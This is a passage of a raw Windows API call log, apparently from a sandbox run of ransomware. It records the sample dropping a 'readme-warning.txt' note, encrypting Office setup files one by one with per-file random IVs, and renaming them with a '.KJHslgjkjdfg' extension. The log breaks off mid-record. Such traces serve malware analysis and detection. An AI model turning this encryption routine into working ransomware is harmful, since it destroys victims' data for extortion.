CryptImportKey (in: hProv=0x9acd90, pbData=0x29de4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.611] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de54c | out: pbData=0x9b18c8, pdwDataLen=0x29de54c) returned 1 [0164.611] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.611] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0164.611] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0164.611] GetProcessHeap () returned 0x990000 [0164.611] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.611] wsprintfA (in: param_1=0x29de797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0164.611] wsprintfA (in: param_1=0x29deba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0164.611] GetProcessHeap () returned 0x990000 [0164.611] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9f9b28 [0164.611] wsprintfW (in: param_1=0x29ddb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\readme-warning.txt") returned 112 [0164.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.617] WriteFile (in: hFile=0x114, lpBuffer=0x9f9b28*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29ddb70, lpOverlapped=0x0 | out: lpBuffer=0x9f9b28*, lpNumberOfBytesWritten=0x29ddb70*=0x3b3, lpOverlapped=0x0) returned 1 [0164.618] CloseHandle (hObject=0x114) returned 1 [0164.618] GetProcessHeap () returned 0x990000 [0164.618] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0164.618] GetProcessHeap () returned 0x990000 [0164.618] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9b28 | out: hHeap=0x990000) returned 1 [0164.618] GetProcessHeap () returned 0x990000 [0164.618] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0164.618] GetProcessHeap () returned 0x990000 [0164.618] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.618] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0164.619] GetProcessHeap () returned 0x990000 [0164.619] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7e10 | out: hHeap=0x990000) returned 1 [0164.619] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0164.619] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0164.619] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0164.621] GetProcessHeap () returned 0x990000 [0164.621] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.621] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.621] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0164.621] WriteFile (in: hFile=0x118, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x6, lpOverlapped=0x0) returned 1 [0164.624] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0164.624] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.624] GetProcessHeap () returned 0x990000 [0164.624] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x50) returned 0x9b5500 [0164.624] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b5500*, pdwDataLen=0x29defd0*=0x50, dwBufLen=0x50 | out: pbData=0x9b5500*, pdwDataLen=0x29defd0*=0x50) returned 1 [0164.624] CryptDestroyKey (hKey=0x9b6668) returned 1 [0164.624] WriteFile (in: hFile=0x118, lpBuffer=0x9b5500*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b5500*, lpNumberOfBytesWritten=0x29defe8*=0x50, lpOverlapped=0x0) returned 1 [0164.624] WriteFile (in: hFile=0x118, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0164.624] WriteFile (in: hFile=0x118, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0164.624] WriteFile (in: hFile=0x118, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0164.624] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0164.625] WriteFile (in: hFile=0x118, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0164.625] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0164.625] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.625] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.625] ReadFile (in: hFile=0x118, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xaec3a, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xaec3a, lpOverlapped=0x0) returned 1 [0164.637] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xaec40, dwBufLen=0xaec40 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xaec40) returned 1 [0164.645] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.645] WriteFile (in: hFile=0x118, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xaec40, lpOverlapped=0x0) returned 1 [0164.648] CryptDestroyKey (hKey=0x9b6668) returned 1 [0164.648] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xaed24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.648] SetEndOfFile (hFile=0x118) returned 1 [0164.653] GetProcessHeap () returned 0x990000 [0164.653] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0164.653] GetProcessHeap () returned 0x990000 [0164.653] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.654] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms.kjhslgjkjdfg")) returned 1 [0164.654] CloseHandle (hObject=0x118) returned 1 [0164.655] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1 [0164.655] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="PowerPoint.en-us", cAlternateFileName="POWERP~1.EN-")) returned 1 [0164.655] GetProcessHeap () returned 0x990000 [0164.655] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xd2) returned 0x9b2468 [0164.655] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0164.658] GetProcessHeap () returned 0x990000 [0164.658] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0164.658] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="..", cAlternateFileName="")) returned 1 [0164.658] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="PowerPointMUI.XML", cAlternateFileName="POWERP~1.XML")) returned 1 [0164.658] GetProcessHeap () returned 0x990000 [0164.658] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2d4) returned 0x9b7e10 [0164.658] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.659] GetProcessHeap () returned 0x990000 [0164.659] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.659] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.659] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.659] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x6, lpOverlapped=0x0) returned 1 [0164.662] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.662] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.662] GetProcessHeap () returned 0x990000 [0164.662] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.663] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40) returned 1 [0164.663] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.663] WriteFile (in: hFile=0x114, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29ded60*=0x40, lpOverlapped=0x0) returned 1 [0164.663] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.663] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.663] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.663] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.663] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.664] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.664] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.664] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.664] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x5aa, lpOverlapped=0x0) returned 1 [0164.664] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x5b0) returned 1 [0164.664] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.664] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x5b0, lpOverlapped=0x0) returned 1 [0164.664] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.664] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.664] SetEndOfFile (hFile=0x114) returned 1 [0164.667] GetProcessHeap () returned 0x990000 [0164.667] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.667] GetProcessHeap () returned 0x990000 [0164.667] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.667] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.kjhslgjkjdfg")) returned 1 [0164.670] CloseHandle (hObject=0x114) returned 1 [0164.670] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0164.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.672] GetProcessHeap () returned 0x990000 [0164.672] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.672] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.672] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.672] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x2, lpOverlapped=0x0) returned 1 [0164.677] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.677] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.677] GetProcessHeap () returned 0x990000 [0164.677] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0164.677] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0164.677] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.677] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0164.677] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.677] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.677] WriteFile (in: hFile=0x114, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.677] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.677] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.678] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.678] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.678] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.678] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x75e, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x75e, lpOverlapped=0x0) returned 1 [0164.678] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x760, dwBufLen=0x760 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x760) returned 1 [0164.678] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.678] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x760, lpOverlapped=0x0) returned 1 [0164.678] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.678] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.678] SetEndOfFile (hFile=0x114) returned 1 [0164.681] GetProcessHeap () returned 0x990000 [0164.681] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0164.681] GetProcessHeap () returned 0x990000 [0164.681] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.682] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0164.688] CloseHandle (hObject=0x114) returned 1 [0164.688] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, 